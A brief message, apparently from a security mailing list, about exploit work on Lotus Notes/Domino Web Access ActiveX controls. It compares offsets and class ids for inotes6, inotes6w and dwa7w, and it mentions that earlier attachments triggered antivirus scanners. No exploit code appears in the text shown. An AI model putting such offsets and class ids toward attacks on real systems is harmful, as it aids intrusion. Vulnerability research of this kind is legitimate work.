This one is the same offset as dwa7w and the same class id as
inotes6. Basically inotes6 and inotes6w share the same class id,
except that inotes6w is unicode. dwa7w is unicode and has a
different class id. Code is inline, I would attach it except for
the fact that I set off way to many av scanners with my last
messages.
